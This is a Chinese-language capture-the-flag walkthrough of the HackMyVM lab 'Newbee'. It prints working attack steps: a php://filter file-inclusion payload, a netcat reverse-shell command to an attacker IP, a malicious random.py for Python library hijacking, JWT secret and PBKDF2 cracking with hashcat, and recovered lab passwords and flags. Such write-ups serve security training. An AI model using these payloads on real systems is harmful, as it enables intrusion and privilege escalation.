Newbee.

https://hackmyvm.eu/machines/machine.php?vm=Newbee

Notes：None

前期踩点

➜  Newbee nmap -sP 192.168.111.0/24                
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-05-15 00:49 EDT
MAC Address: 00:50:56:FB:CA:45 (VMware)
Nmap scan report for 192.168.111.150
Host is up (0.000098s latency).
MAC Address: 00:50:56:E7:CE:2D (VMware)
Nmap scan report for 192.168.111.162
Host is up.
Nmap done: 256 IP addresses (5 hosts up) scanned in 2.06 seconds

➜  Newbee nmap -sT -min-rate 10000 -p- 192.168.111.150
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-05-15 00:56 EDT
Nmap scan report for 192.168.111.150
Host is up (0.0019s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
MAC Address: 00:0C:29:16:FC:B5 (VMware)

➜  Newbee nmap -sT -A -T4 -O -p 22,80 192.168.111.150 
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-05-15 00:57 EDT
Nmap scan report for 192.168.111.150
Host is up (0.00023s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.2p1 Debian 2+deb12u5 (protocol 2.0)
| ssh-hostkey: 
|   256 92:6e:6d:b0:bd:08:1e:db:9d:56:0e:f8:15:25:ca:21 (ECDSA)
|_  256 88:d7:08:bd:a2:95:75:cc:71:06:47:ae:fd:d3:8b:b9 (ED25519)
80/tcp open  http    Apache httpd 2.4.62 ((Debian))
|_http-title: PHPJabbers.com | Free Food Store Website Template
|_http-server-header: Apache/2.4.62 (Debian)
MAC Address: 00:0C:29:16:FC:B5 (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.8
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.23 ms 192.168.111.150

Web 渗透

信息收集

访问，页脚中可以知道是通过 PHPJabbers 构建的

目录扫描

➜  Newbee gobuster dir -u http://192.168.111.150 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,zip -b 404,301,403 --no-error                                                                  
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.111.150
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   403,404,301
[+] User Agent:              gobuster/3.6
[+] Extensions:              php,zip
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/index.php            (Status: 200) [Size: 18852]
/contact.php          (Status: 200) [Size: 8853]
/about.php            (Status: 200) [Size: 10036]
/blog.php             (Status: 200) [Size: 9782]
/products.php         (Status: 200) [Size: 12163]
/terms.php            (Status: 200) [Size: 6670]
/testimonials.php     (Status: 200) [Size: 7907]
/checkout.php         (Status: 200) [Size: 13307]
/secret.php           (Status: 200) [Size: 2187]
Progress: 661680 / 661683 (100.00%)
===============================================================
Finished
===============================================================

发现奇怪的页面 /secret.php ，访问

尝试 fuzz 参数无果

➜  Newbee wfuzz -c -w ../../Dict/fuzz/paramDict/AllParam.txt -u http://192.168.111.150/secret.php\?command\=ls\&\FUZZ=admin --hh=2175
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://192.168.111.150/secret.php?command=ls&FUZZ=admin
Total requests: 74332

=====================================================================
ID           Response   Lines    Word       Chars       Payload  
=====================================================================

Total time: 120.5883
Processed Requests: 74332
Filtered Requests: 74332
Requests/sec.: 616.4110

没思路呢，看了下 WP，发现主页源代码最下面有一句话

根据提示 fuzz 参数

➜  Newbee wfuzz -c -w ../../Dict/fuzz/paramDict/AllParam.txt -u http://192.168.111.150\?FUZZ\= --hh=18851
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://192.168.111.150?FUZZ=/
Total requests: 74332

=====================================================================
ID           Response   Lines    Word       Chars       Payload  
=====================================================================

000027398:   200        376 L    1270 W     18863 Ch    "hack"

文件包含

根据上下文，尝试使用主页参数包含secret.php

http://192.168.111.150/index.php?hack=php://filter/read=convert.base64-encode/resource=secret.php

成功包含，将其进行base64解码

<!DOCTYPE html>
<html lang="zh-CN">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>å½ä»¤è¡æ§å¶å°</title>
    <style>
        body {
            background-color: #1e1e1e;
            font-family: Consolas, monospace;
            color: #fff;
            margin: 0;
            padding: 0;
        }

        .console {
            width: 80%;
            margin: 50px auto;
            padding: 20px;
            background-color: #000;
            border-radius: 8px;
            box-shadow: 0 4px 10px rgba(0, 0, 0, 0.5);
            height: 400px;
            overflow-y: auto;
            font-size: 16px;
        }

        .output {
            white-space: pre-wrap;
            margin-bottom: 10px;
        }

        .input-container {
            display: flex;
            align-items: center;
        }

        .input-container .prompt {
            color: #00ff00;
            margin-right: 5px;
        }

        .input-container input {
            background: transparent;
            border: none;
            color: #fff;
            width: 100%;
            padding: 5px;
            font-size: 16px;
            outline: none;
        }

        .input-container input:focus {
            border: 1px solid #00ff00;
        }

        .input-container input::placeholder {
            color: #888;
        }

        .console-footer {
            padding-top: 10px;
            color: #888;
            font-size: 12px;
            text-align: center;
        }
    </style>
</head>
<body>

<div class="console">
    <div class="output" id="output">
        <?php

        if (isset($_COOKIE['AreYouAdmin']) && $_COOKIE['AreYouAdmin'] === 'Yes') {

            if (isset($_GET['command'])) {
                $command = $_GET['command'];
                $output = shell_exec($command);
                echo '<div>\> ' . htmlspecialchars($command) . '</div>';
                echo '<div>' . nl2br(htmlspecialchars($output)) . '</div>';
            }
        } else {
            echo '<div>No permission to execute commands, lacking admin permission.</div>';
        }
        ?>
    </div>

    <div class="input-container">
        <span class="prompt">\></span>
        <form method="get">
            <input type="text" name="command" id="input" placeholder="command..." autocomplete="off">
        </form>
    </div>
</div>

<script>
    const inputField = document.getElementById("input");

    inputField.focus();
</script>

</body>
</html>

设置 cookie ，当 AreYouAdmin 等于 yes 时就可以执行命令

进行反弹shell

nc+192.168.111.162+1234+-e+%2Fbin%2Fbash

提权 - To Debian

信息收集

查看 sudo 权限

www-data@Newbee:/var/www/html$ sudo -l
sudo: unable to resolve host Newbee: Name or service not known
Matching Defaults entries for www-data on Newbee:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, targetpw, use_pty

User www-data may run the following commands on Newbee:
    (debian) NOPASSWD: /usr/bin/python3 /var/www/html/vuln.py

查看 vuln.py 内容

www-data@Newbee:/var/www/html$ cat vuln.py 
import random
import time
import math
import string
import datetime

def generate_random_string(length=10):

    return ''.join(random.choices(string.ascii_letters + string.digits, k=length))

def pointless_computation():

    number = random.randint(1, 1000)
    result = math.sqrt(number) * math.log(number)
    print(f"Calculated math nonsense: sqrt({number}) * log({number}) = {result}")

def simulate_time_wasting():

    now = datetime.datetime.now()
    print(f"Started wasting time at {now}")
    time.sleep(2)  # 故意睡眠 2 秒
    later = datetime.datetime.now()
    print(f"Finished wasting time at {later}. Time wasted: {later - now}")

def pointless_string_operations():

    rand_str = generate_random_string()
    print(f"Generated random string: {rand_str}")
    reversed_str = rand_str[::-1]
    print(f"Reversed string: {reversed_str}")
    print(f"String length: {len(rand_str)}")

if __name__ == "__main__":
    pointless_computation()
    simulate_time_wasting()
    pointless_string_operations()
    print("All done. The script accomplished nothing useful.")

像是在做无用功的操作

Python 库劫持

但是我们可以看到当前目录是可以进行写权限的

www-data@Newbee:/var/www/html$ ls -al
total 20
drwxrwxrwx 4 root     root     4096 Mar  8 22:29 .
drwxr-xr-x 3 root     root     4096 Mar  6 00:23 ..
-rw-r--r-- 1 root     root        0 Mar  6 19:02 .htaccess
drwxr-xr-x 3 root     root     4096 Mar  8 07:06 flask
drwxr-xr-x 3 www-data www-data 4096 Mar  7 00:20 shop
-rwxr-xr-x 1 root     root     1086 Mar  8 07:10 vuln.py

可以进行库劫持，Python 以就近原则导入库

# random.py
import os
os.system("/bin/bash -p")

提权 - To Root

user.txt

debian@Newbee:~$ cat user.txt 
ed2b1f468c5f915f3f1cf75d7068baae

当前目录下还有 note.txt 以及 config.php

debian@Newbee:~$ cat note.txt 
Damn it, I forgot my database password. I heard that Debian is currently building a message board, maybe he can help me

debian@Newbee:~$ cat config.php 
<?php
$servername = "localhost";
$username = "root";
$password = "

$conn = new mysqli($servername, $username, $password);

............
............

查看一下正在监听的端口

debian@Newbee:~$ ss -tulpn
Netid                  State                   Recv-Q                  Send-Q                                    Local Address:Port                                     Peer Address:Port                  Process                  
udp                    UNCONN                  0                       0                                               0.0.0.0:68                                            0.0.0.0:*                                              
tcp                    LISTEN                  0                       128                                           127.0.0.1:5000                                          0.0.0.0:*                                              
tcp                    LISTEN                  0                       80                                            127.0.0.1:3306                                          0.0.0.0:*                                              
tcp                    LISTEN                  0                       128                                             0.0.0.0:22                                            0.0.0.0:*                                              
tcp                    LISTEN                  0                       511                                                   *:80                                                  *:*                                              
tcp                    LISTEN                  0                       128                                                [::]:22                                               [::]:*

发现一个在本地运行的5000端口，将其转发出去

debian@Newbee:/tmp$ ./socat TCP-LISTEN:5001,fork tcp4:127.0.0.1:5000 &
[1] 38466

访问转发出去的端口

在源代码页能找到

登录页，尝试爆破一下，无果

JWT 弱密钥

但是貌似除了admin用户其他用户都能直接登陆进去，这里使用 1:1 ，登陆后会返回一串 JWT

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6IjEiLCJleHAiOjE3NDcyOTQyNTR9.iuXXxwNMPDYzab4OtZkI_vBS1nl9oj434Wp0kqavP_E

通过之前源代码发现的话，猜测是弱密钥，保存JWT使用hashcat爆破

得到密钥noob ，构造 JWT

将其替换掉原本的 JWT ，即可显示内容

得到数据库账号密码：root:TheStrongestPasswordHYHcreated

MariaDB [user]> select * from user;
+----+----------+--------------------------------------------------------------------------------------------------------------------------+----------------------------------+------------------+
| id | username | passwd                                                                                                                   | salt                             | passwd_hash_algo |
+----+----------+--------------------------------------------------------------------------------------------------------------------------+----------------------------------+------------------+
|  1 | debian   | 2c082e3ff2ca15e3b24f815d70653f0dead09534495069dd140e19adb2d117266cc4b1de8daf55c7c4827a0a5ccf70c6f537ffc4ddc74db4865c41c0 | 8bf3e3452b78544f8bee9400d6936d34 | pbdf2$50500$60   |
+----+----------+--------------------------------------------------------------------------------------------------------------------------+----------------------------------+------------------+
1 row in set (0.011 sec)

爆破 PBKDF2

喂给 GPT，这段密码并不是传统的 MD5/ SHA1/ SHA256 之类的「一次性哈希」，而是用 PBKDF2（Password-Based Key Derivation Function 2）

示例链接：https://wsxk.github.io/hashcatgpu/ | https://notes.benheater.com/books/hash-cracking/page/pbkdf2-hmac-sha256

sha256:50500:i/PjRSt4VE+L7pQA1pNtNA==:LAguP/LKFeOyT4FdcGU/DerQlTRJUGndFA4ZrbLRFyZsxLHeja9Vx8SCegpcz3DG9Tf/xN3HTbSGXEHA

hashcat -m 10900 pass.txt /usr/share/wordlists/rockyou.txt
...
sha256:50500:i/PjRSt4VE+L7pQA1pNtNA==:LAguP/LKFeOyT4FdcGU/DerQlTRJUGndFA4ZrbLRFyZsxLHeja9Vx8SCegpcz3DG9Tf/xN3HTbSGXEHA:1qaz2wsx

得到密码1qaz2wsx ，查看 sudo 权限

debian@Newbee:/tmp$ sudo -l
sudo: unable to resolve host Newbee: Name or service not known
[sudo] password for debian: 
Sorry, try again.
[sudo] password for debian: 
sudo: 1 incorrect password attempt

看来密码不是用在这里的，在家目录发现 .secret文件夹

debian@Newbee:~/.secret$ ls
hint.txt  password.zip
debian@Newbee:~/.secret$ cat hint.txt 
password is md5(key)

and key is in mysql!!!!!!

压缩包密码是1qaz2wsx的md5值

debian@Newbee:~/.secret$ echo -n "1qaz2wsx" | md5sum | awk '{print $1}'
1c63129ae9db9c60c3e8aa94d3e00495

图片修复

解压后是一张图片

➜  Newbee unzip password.zip        
Archive:  password.zip
[password.zip] password.png password: 
 extracting: password.png

超级糊

经过查阅，可以使用 Depix 来修复：https://github.com/spipm/Depixelization_poc

hellofromtheotherside和官方工具的演示图片一模一样

用作密码尝试登录成功

root@Newbee:~# cat root.txt 
c18b3eff03996f3a203f63733be03d15

总结

学到新东西，最后的从模糊的照片中恢复文本，PBKDF2 Brute…

HackMyVM - Newbee